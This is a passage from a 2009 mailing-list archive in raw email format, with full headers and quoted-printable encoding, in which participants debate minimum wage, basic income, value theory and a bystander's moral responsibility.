X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4178 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 420 The minimum wage is set by the state=2E Only the supplement to the minimum wage is up for negotiation between the worker and the business owner=2E Business owners as a rule would rather not pay the non-negotiable portion of wages=2E Instead of the state forcing businesses to pay the minimum wage=2C it makes more sense for the state to pay everyone a minimum wage (called a basic income) regardless of whether they are unemployed = or employed or self-employed=2E Harry ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Monday=2C May 25=2C 2009 1=3A05 pm Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E This paragraph assumes that wages are set by business owners=2E But = =3E they are = =3E negotiated between the business owner and the worker and a mutually = =3E satisfactory number is reached=2E = =3E = =3E On Mon=2C May 25=2C 2009 at 12=3A26 PM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E = wrote=3A = =3E = =3E =3E It shows that social expectation that an employer should provide = a = =3E =3E minimum hourly-wage is counterproductive to the capitalist = =3E system of = =3E =3E production! The income a worker needs to reproduce him/herself = =3E should=2C=3E honestly speaking=2C be of no concern to the capitalist=2E= = =3E =3E = =3E =3E It is however=2C of interest to the state=2C so the state should = provide = =3E =3E everyone with the same basic income=2C and let the employer pay = =3E extra for = =3E =3E the skills they require=2E = =3E =3E = =3E =3E The phasing in of basic income should be done gradually over = several = =3E =3E years=2E = =3E =3E This would give time for employers to adjust their hiring = =3E practices and = =3E =3E business models=2E = =3E =3E = =3E =3E = =3E =3E harry = =3E =3E = =3E =3E ----- Original Message ----- = =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E = =3E =3E Date=3A Monday=2C May 25=2C 2009 0=3A58 am = =3E =3E Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US = =3E =3E = =3E =3E =3E How does that follow=3F = =3E =3E =3E = =3E =3E =3E = =3E =3E =3E On Mon=2C May 25=2C 2009 at 12=3A56 AM=2C Harry Veeder = =3E =3Chveeder=40ncf=2Eca=3E wrote=3A = =3E =3E =3E = =3E =3E =3E =3E *----- Original Message -----* = =3E =3E =3E =3E = =3E =3E =3E =3E *From*=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Eco= m=3E = =3E =3E =3E =3E = =3E =3E =3E =3E *Date*=3A Saturday=2C May 23=2C 2009 1=3A44 pm = =3E =3E =3E =3E = =3E =3E =3E =3E *Subject*=3A Re=3A =5BVoB=5D=3AChina vs=2E US = =3E =3E =3E =3E = =3E =3E =3E =3E =3E Yes=2E Subjective utility is the primary kind of valu= e=2C and = =3E then=3E =3E =3E =3E there is a = =3E =3E =3E =3E =3E market price which is the aggregate of many subjectiv= e = =3E utilities=2E=3E =3E =3E =3E The time = =3E =3E =3E =3E =3E required to create a product is irrelevant=2C is base= d on = =3E =3E =3E unreasonable=3E =3E assumptions=2C and what=27s more=2C with = great irony=2C = =3E =3E =3E there=27s no way to = =3E =3E =3E =3E =3E extract a = =3E =3E =3E =3E =3E surplus from it=2E Feel free to show me how I=27m wro= ng=2E = =3E =3E =3E =3E = =3E =3E =3E =3E wage-labour should be an option for living rather than a = =3E =3E =3E necessity for = =3E =3E =3E =3E living precisely because the time to create = =3E =3E =3E =3E = =3E =3E =3E =3E a product is irrelevant to its value=2E = =3E =3E =3E =3E = =3E =3E =3E =3E Harry = =3E =3E =3E =3E = =3E =3E =3E = =3E =3E =3E = =3E =3E =3E = =3E =3E =3E -- = =3E =3E =3E Never did I see a second sun = =3E =3E =3E Never did my skin touch a land of glass = =3E =3E =3E Never did my rifle point but true = =3E =3E =3E But in a land empty of enemies = =3E =3E =3E Waiting for the tick-tick-tick of the want = =3E =3E =3E A uranium angel = =3E =3E =3E Crying =93behold=2C=94 = =3E =3E =3E This land that knew fire is yours = =3E =3E =3E Taken from Corruption = =3E =3E =3E To begin anew = =3E =3E =3E = =3E =3E = =3E =3E = =3E = =3E = =3E -- = =3E Never did I see a second sun = =3E Never did my skin touch a land of glass = =3E Never did my rifle point but true = =3E But in a land empty of enemies = =3E Waiting for the tick-tick-tick of the want = =3E A uranium angel = =3E Crying =93behold=2C=94 = =3E This land that knew fire is yours = =3E Taken from Corruption = =3E To begin anew = =3E From vortexb-l-request@eskimo.com Mon May 25 20:01:13 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4Q31Ajo016285; Mon, 25 May 2009 20:01:10 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4Q318aZ016143; Mon, 25 May 2009 20:01:08 -0700 Resent-Date: Mon, 25 May 2009 20:01:08 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=RA91Oq4xiLZedjiwAkocYUJ0CMcUqKdkkcPEHN2VQcE=; b=J0h0pCfewC0m117h11euQsKrYWSqEJs58iGE6zI6RPkerxUtpSoBgRlOEalUJKu8VR W51FfB4LK/Ps7Tb4EY9YTM59ewge3hWL7LazGX6PibE/rYJDoJzL/bjxCHyGkAHMmriJ nG0gaEbT3BnyH95groziiGe3/kTwB+rlr4pCk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=II94kAhbUpASaVW+XdJHCzK863hADYTuFYrvNAzBa0mPwewdjhGbJDauIeP1wyq3l7 1y80bETW1ZouUzmzty4FSq22sq/0kvEwkZt/YHkgKUqBVhQvR5x4Rh7k7+3yvdFcpeZF ZcfEj82z/kU6xJdawbFCvgEAOFUxCsSPFla24= MIME-Version: 1.0 In-Reply-To: <231d44230bb0.230bb0231d44@ncf.ca> References: <231d44230bb0.230bb0231d44@ncf.ca> From: Charles HOPE Date: Mon, 25 May 2009 23:00:47 -0400 Message-ID: <63ffa6020905252000t2aa3992et767c56b528635e9c@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a72329c015046ac7f03e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4179 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 421 --001636c5a72329c015046ac7f03e Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable By what mechanism does any worker earn more than the minimum wage? On Mon, May 25, 2009 at 10:43 PM, Harry Veeder wrote: > The minimum wage is set by the state. > Only the supplement to the minimum wage is up for negotiation between > the worker and the business owner. Business owners as a rule > would rather not pay the non-negotiable portion of wages. > > Instead of the state forcing businesses to pay the minimum wage, > it makes more sense for the state to pay everyone a minimum wage > (called a basic income) regardless of whether they are unemployed > or employed or self-employed. > > Harry > > ----- Original Message ----- > From: Charles HOPE > Date: Monday, May 25, 2009 1:05 pm > Subject: Re: [VoB]:China vs. US > > This paragraph assumes that wages are set by business owners. But > > they are > > negotiated between the business owner and the worker and a mutually > > satisfactory number is reached. > > > > On Mon, May 25, 2009 at 12:26 PM, Harry Veeder > wrote: > > > > > It shows that social expectation that an employer should provide a > > > minimum hourly-wage is counterproductive to the capitalist > > system of > > > production! The income a worker needs to reproduce him/herself > > should,> honestly speaking, be of no concern to the capitalist. > > > > > > It is however, of interest to the state, so the state should > provide > > > everyone with the same basic income, and let the employer pay > > extra for > > > the skills they require. > > > > > > The phasing in of basic income should be done gradually over > several > > > years. > > > This would give time for employers to adjust their hiring > > practices and > > > business models. > > > > > > > > > harry > > > > > > ----- Original Message ----- > > > From: Charles HOPE > > > Date: Monday, May 25, 2009 0:58 am > > > Subject: Re: [VoB]:China vs. US > > > > > > > How does that follow? > > > > > > > > > > > > On Mon, May 25, 2009 at 12:56 AM, Harry Veeder > > wrote: > > > > > > > > > *----- Original Message -----* > > > > > > > > > > *From*: Charles HOPE > > > > > > > > > > *Date*: Saturday, May 23, 2009 1:44 pm > > > > > > > > > > *Subject*: Re: [VoB]:China vs. US > > > > > > > > > > > Yes. Subjective utility is the primary kind of value, and > > then> > > > there is a > > > > > > market price which is the aggregate of many subjective > > utilities.> > > > The time > > > > > > required to create a product is irrelevant, is based on > > > > unreasonable> > assumptions, and what's more, with great irony, > > > > there's no way to > > > > > > extract a > > > > > > surplus from it. Feel free to show me how I'm wrong. > > > > > > > > > > wage-labour should be an option for living rather than a > > > > necessity for > > > > > living precisely because the time to create > > > > > > > > > > a product is irrelevant to its value. > > > > > > > > > > Harry > > > > > > > > > > > > > > > > > > > > > -- > > > > Never did I see a second sun > > > > Never did my skin touch a land of glass > > > > Never did my rifle point but true > > > > But in a land empty of enemies > > > > Waiting for the tick-tick-tick of the want > > > > A uranium angel > > > > Crying =93behold,=94 > > > > This land that knew fire is yours > > > > Taken from Corruption > > > > To begin anew > > > > > > > > > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a72329c015046ac7f03e Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable By what mechanism does any worker earn more than the minimum wage?

=
On Mon, May 25, 2009 at 10:43 PM, Harry Veed= er <hveeder@ncf.ca> wrote:
The minimum wage = is =A0set by the state.
Only the supplement to the minimum wage is up for negotiation between
the worker and the business owner. =A0Business owners as a rule
would rather not pay the non-negotiable portion of wages.

Instead of the state forcing businesses to pay the minimum wage,
it makes more sense for the state to pay everyone a minimum wage
(called a basic income) regardless of whether they are unemployed
or employed or self-employed.

Harry

----- Original Message -----
From: Charles HOPE <look= slikeiwasright@gmail.com>
Date: Monday, May 25, 2009 1:05 pm<= br> Subject: Re: [VoB]:China vs. US
> This paragraph assumes that wages are set by business owners. But
> they are
> negotiated between the business owner and the worker and a mutually > satisfactory number is reached.
>
> On Mon, May 25, 2009 at 12:26 PM, Harry Veeder <hveeder@ncf.ca>
wrote:
>
> > It shows that social expectation that an employer should provide = a
> > minimum hourly-wage is counterproductive to the capitalist
> system of
> > production! The income a worker needs to reproduce him/herself > should,> honestly speaking, be of no concern to the capitalist.
> >
> > It is however, of interest to the state, so the state should
provide
> > everyone with the same basic income, and let the employer pay
> extra for
> > the skills they require.
> >
> > The phasing in of basic income should be done gradually over
several
> > years.
> > This would give time for employers to adjust their hiring
> practices and
> > business models.
> >
> >
> > harry
> >
> > ----- Original Message -----
> > From: Charles HOPE <lookslikeiwasright@gmail.com>
> > Date: Monday, May 25, 2009 0:58 am
> > Subject: Re: [VoB]:China vs. US
> >
> > > How does that follow?
> > >
> > >
> > > On Mon, May 25, 2009 at 12:56 AM, Harry Veeder
> <hveeder@ncf.ca> wrote: > > >
> > > > *----- Original Message -----*
> > > >
> > > > *From*: Charles HOPE <lookslikeiwasright@gmail.com>
> > > >
> > > > *Date*: Saturday, May 23, 2009 1:44 pm
> > > >
> > > > *Subject*: Re: [VoB]:China vs. US
> > > >
> > > > > Yes. Subjective utility is the primary kind of val= ue, and
> then> > > > there is a
> > > > > market price which is the aggregate of many subjec= tive
> utilities.> > > > The time
> > > > > required to create a product is irrelevant, is bas= ed on
> > > unreasonable> > assumptions, and what's more, with= great irony,
> > > there's no way to
> > > > > extract a
> > > > > surplus from it. Feel free to show me how I'm = wrong.
> > > >
> > > > wage-labour should be an option for living rather than = a
> > > necessity for
> > > > living precisely because the time to create
> > > >
> > > > a product is irrelevant to its value.
> > > >
> > > > Harry
> > > >
> > >
> > >
> > >
> > > --
> > > Never did I see a second sun
> > > Never did my skin touch a land of glass
> > > Never did my rifle point but true
> > > But in a land empty of enemies
> > > Waiting for the tick-tick-tick of the want
> > > A uranium angel
> > > Crying =93behold,=94
> > > This land that knew fire is yours
> > > Taken from Corruption
> > > To begin anew
> > >
> >
> >
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a72329c015046ac7f03e-- From vortexb-l-request@eskimo.com Mon May 25 21:03:13 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4Q439jO029991; Mon, 25 May 2009 21:03:09 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4Q434QP029970; Mon, 25 May 2009 21:03:04 -0700 Resent-Date: Mon, 25 May 2009 21:03:04 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <238753237a11.237a11238753@ncf.ca> Date: Tue, 26 May 2009 00:03:05 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4180 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 422 ----- Original Message ----- From: grok Date: Saturday, May 23, 2009 11:57 pm Subject: Re: [VoB]:Re: This is VortexB-L... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Harry Veeder > mounted the barricade and roared out: > > > The innocent bystander argument? > > > Run that past us, please..? > > - -- grok. > He asked why he should be responsible for another person's plight if he did not directly cause it. An innocent bystander is a person minding their own business who learns of suffering. The question seems to imply the default position that the bystander has NO responsibility to ameliorate the suffering. I would say instead the bystander by default always bears SOME responsibility. Even if he does not have the opportunity or the ability to directly provide help, it would be irresponsible of him to impede others from helping. Harry From vortexb-l-request@eskimo.com Mon May 25 21:22:27 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4Q4MKDx001789; Mon, 25 May 2009 21:22:20 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4Q4MGKV001775; Mon, 25 May 2009 21:22:16 -0700 Resent-Date: Mon, 25 May 2009 21:22:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=UexGZzpiRkGB/pKHbdUM+pgBgIVWYYz3VgcVxArVKwM=; b=mDWCvORqumcFruFWZCRietXwYRaJrlohCERrRncW+lwZ7E62STQe7MQXTcUs9T8peo 2b4FklAbHJ438A9DjcsBKc5DKeOwc1IkyTHqvt3kpoBDKFb2lqyzDfOHZ+mOkmvjxCob uopNA8DncLEfUIGOWRdJQvt+T9/r9CMsfkKz0= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=juLoTxCyDiXFcScn0LV3MMP8qTnP8MZg1shXPY2iNSFfifGvfEvEBuHCkp8AFR3gvj 1JwupgvaA6yBAJJemdQ5W1pPU1syekwKXPjOsfvcoCBM0Qw+1jYpAK45+5ELJu5u4UOw i5Y4z4ko4z0M/9+npCJUkBh7XqD75eTsHTZdQ= MIME-Version: 1.0 In-Reply-To: <238753237a11.237a11238753@ncf.ca> References: <238753237a11.237a11238753@ncf.ca> From: Charles HOPE Date: Tue, 26 May 2009 00:21:58 -0400 Message-ID: <63ffa6020905252121j591cfff2n64a05ba57149d5b0@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a49080921a046ac912de Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4181 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 423 --001636c5a49080921a046ac912de Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Saving a drowning man is one thing. But given this context below, it seems to mean that if a worker goes to an employer for a job, the employer is responsible to first hand over enough money to make sure the worker isn't hungry before the salary negotiation commences. > Does it matter why the person would be worse off for refusing? > Are you > recognizing a difference between agency and circumstance; the > differencebetween me putting a gun to your head and informing you > that I'll kill you > if you turn down the deal, versus the deal simply being the best > of all your > options? > > > > On Sat, May 23, 2009 at 10:23 PM, Harry Veeder wrote: > > > I would say, all things being equal, it boils down to the right to > > refuse the transaction and NOT BE WORSE OFF for having refused. On Tue, May 26, 2009 at 12:03 AM, Harry Veeder wrote: > > > ----- Original Message ----- > From: grok > Date: Saturday, May 23, 2009 11:57 pm > Subject: Re: [VoB]:Re: This is VortexB-L... > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > As the smoke cleared, Harry Veeder > > mounted the barricade and roared out: > > > > > The innocent bystander argument? > > > > > Run that past us, please..? > > > > - -- grok. > > > > He asked why he should be responsible for another person's plight > if he did not directly cause it. An innocent bystander is a person > minding their own business who learns of suffering. > > The question seems to imply the default position that the bystander > has NO responsibility to ameliorate the suffering. > > I would say instead the bystander by default always bears SOME > responsibility. > Even if he does not have the opportunity or the ability to > directly provide help, it would be irresponsible of him to impede > others from helping. > > Harry > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a49080921a046ac912de Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Saving a drowning man is one thing. But given this context below, it seems = to mean that if a worker goes to an employer for a job, the employer is res= ponsible to first hand over enough money to make sure the worker isn't = hungry before the salary negotiation commences.



=A0=A0=A0 > Does it matter why the person would be worse off= for refusing?
=A0=A0=A0 > Are you
=A0=A0=A0 > recognizing a di= fference between agency and circumstance; the
=A0=A0=A0 > differenceb= etween me putting a gun to your head and informing you
=A0=A0=A0 > that I'll kill you
=A0=A0=A0 > if you turn down th= e deal, versus the deal simply being the best
=A0=A0=A0 > of all your=
=A0=A0=A0 > options?
=A0=A0=A0 >
=A0=A0=A0 >
=A0=A0= =A0 >
=A0=A0=A0 > On Sat, May 23, 2009 at 10:23 PM, Harry Veeder &= lt;hveeder@ncf.ca>
=A0=A0=A0 wrote:
=A0=A0=A0 >
=A0=A0=A0 > > I would say, all = things being equal, it boils down to the right to
=A0=A0=A0 > > re= fuse the transaction and NOT BE WORSE OFF for having refused.







On Tue, May 26, 2009 at 12:03 AM, Harry Veeder <= span dir=3D"ltr"><hveeder@ncf.ca&g= t; wrote:


----- Original Message -----
From: grok <grok@resist.ca>
Date: Saturday, May 23, 2009 11:57 pm
Subject: Re: [VoB]:Re: This is VortexB-L...

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> As the smoke cleared, Harry Veeder <hveeder@ncf.ca>
> mounted the barricade and roared out:
>
> > The innocent bystander argument?
> >
> Run that past us, please..?
>
> - -- grok.
>

He asked why he should be responsible for another person's plight
if he did not directly cause it. An innocent bystander is a person
minding their own business who learns of suffering.

The question seems to imply the default position that the bystander
has NO responsibility to ameliorate the suffering.

I would say instead the bystander by default always bears SOME
responsibility.
Even if he does not have the opportunity or the ability to
directly provide help, it would be irresponsible of him to impede
others from helping.

Harry





--
Never did I see = a second sun
Never did my skin touch a land of glass
Never did my rif= le point but true
But in a land empty of enemies
Waiting for the tick= -tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a49080921a046ac912de-- From vortexb-l-request@eskimo.com Tue May 26 09:13:39 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4QGDblu030448; Tue, 26 May 2009 09:13:37 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4QGDaiY030431; Tue, 26 May 2009 09:13:36 -0700 Resent-Date: Tue, 26 May 2009 09:13:36 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <249c2a241f75.241f75249c2a@ncf.ca> Date: Tue, 26 May 2009 12:13:36 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:China vs. US X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4182 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 424 By businesses competing for the skills=2C talents and = joys of workers! Harry = ----- Original Message ----- From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E Date=3A Monday=2C May 25=2C 2009 11=3A00 pm Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E By what mechanism does any worker earn more than the minimum wage=3F =3E = =3E = =3E On Mon=2C May 25=2C 2009 at 10=3A43 PM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E wrote=3A =3E = =3E =3E The minimum wage is set by the state=2E =3E =3E Only the supplement to the minimum wage is up for negotiation = =3E between=3E the worker and the business owner=2E Business owners as a= rule =3E =3E would rather not pay the non-negotiable portion of wages=2E =3E =3E =3E =3E Instead of the state forcing businesses to pay the minimum wage=2C= =3E =3E it makes more sense for the state to pay everyone a minimum wage =3E =3E (called a basic income) regardless of whether they are unemployed= =3E =3E or employed or self-employed=2E =3E =3E =3E =3E Harry =3E =3E =3E =3E ----- Original Message ----- =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E =3E =3E Date=3A Monday=2C May 25=2C 2009 1=3A05 pm =3E =3E Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E =3E =3E This paragraph assumes that wages are set by business owners=2E= But =3E =3E =3E they are =3E =3E =3E negotiated between the business owner and the worker and a = =3E mutually=3E =3E satisfactory number is reached=2E =3E =3E =3E =3E =3E =3E On Mon=2C May 25=2C 2009 at 12=3A26 PM=2C Harry Veeder =3Chve= eder=40ncf=2Eca=3E =3E =3E wrote=3A =3E =3E =3E =3E =3E =3E =3E It shows that social expectation that an employer should = =3E provide a =3E =3E =3E =3E minimum hourly-wage is counterproductive to the capitalis= t =3E =3E =3E system of =3E =3E =3E =3E production! The income a worker needs to reproduce him/he= rself =3E =3E =3E should=2C=3E honestly speaking=2C be of no concern to the cap= italist=2E =3E =3E =3E =3E =3E =3E =3E =3E It is however=2C of interest to the state=2C so the state= should =3E =3E provide =3E =3E =3E =3E everyone with the same basic income=2C and let the employ= er pay =3E =3E =3E extra for =3E =3E =3E =3E the skills they require=2E =3E =3E =3E =3E =3E =3E =3E =3E The phasing in of basic income should be done gradually o= ver =3E =3E several =3E =3E =3E =3E years=2E =3E =3E =3E =3E This would give time for employers to adjust their hiring= =3E =3E =3E practices and =3E =3E =3E =3E business models=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E harry =3E =3E =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E= =3E =3E =3E =3E Date=3A Monday=2C May 25=2C 2009 0=3A58 am =3E =3E =3E =3E Subject=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E =3E =3E =3E =3E =3E =3E =3E =3E How does that follow=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E On Mon=2C May 25=2C 2009 at 12=3A56 AM=2C Harry Veede= r =3E =3E =3E =3Chveeder=40ncf=2Eca=3E wrote=3A =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E *----- Original Message -----* =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E *From*=3A Charles HOPE =3Clookslikeiwasright=40gm= ail=2Ecom=3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E *Date*=3A Saturday=2C May 23=2C 2009 1=3A44 pm =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E *Subject*=3A Re=3A =5BVoB=5D=3AChina vs=2E US =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E Yes=2E Subjective utility is the primary kind= of value=2C and =3E =3E =3E then=3E =3E =3E =3E there is a =3E =3E =3E =3E =3E =3E =3E market price which is the aggregate of many s= ubjective =3E =3E =3E utilities=2E=3E =3E =3E =3E The time =3E =3E =3E =3E =3E =3E =3E required to create a product is irrelevant=2C= is based on =3E =3E =3E =3E =3E unreasonable=3E =3E assumptions=2C and what=27s more=2C= with great = =3E irony=2C=3E =3E =3E =3E there=27s no way to =3E =3E =3E =3E =3E =3E =3E extract a =3E =3E =3E =3E =3E =3E =3E surplus from it=2E Feel free to show me how I= =27m wrong=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E wage-labour should be an option for living rather= than a =3E =3E =3E =3E =3E necessity for =3E =3E =3E =3E =3E =3E living precisely because the time to create =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E a product is irrelevant to its value=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E Harry =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E -- =3E =3E =3E =3E =3E Never did I see a second sun =3E =3E =3E =3E =3E Never did my skin touch a land of glass =3E =3E =3E =3E =3E Never did my rifle point but true =3E =3E =3E =3E =3E But in a land empty of enemies =3E =3E =3E =3E =3E Waiting for the tick-tick-tick of the want =3E =3E =3E =3E =3E A uranium angel =3E =3E =3E =3E =3E Crying =93behold=2C=94 =3E =3E =3E =3E =3E This land that knew fire is yours =3E =3E =3E =3E =3E Taken from Corruption =3E =3E =3E =3E =3E To begin anew =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E -- =3E =3E =3E Never did I see a second sun =3E =3E =3E Never did my skin touch a land of glass =3E =3E =3E Never did my rifle point but true =3E =3E =3E But in a land empty of enemies =3E =3E =3E Waiting for the tick-tick-tick of the want =3E =3E =3E A uranium angel =3E =3E =3E Crying =93behold=2C=94 =3E =3E =3E This land that knew fire is yours =3E =3E =3E Taken from Corruption =3E =3E =3E To begin anew =3E =3E =3E =3E =3E =3E =3E =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Tue May 26 09:19:23 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4QGJIDt021095; Tue, 26 May 2009 09:19:18 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4QGJH3F021083; Tue, 26 May 2009 09:19:17 -0700 Resent-Date: Tue, 26 May 2009 09:19:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <24627f24385a.24385a24627f@ncf.ca> Date: Tue, 26 May 2009 12:19:13 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Re: This is VortexB-L... X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable 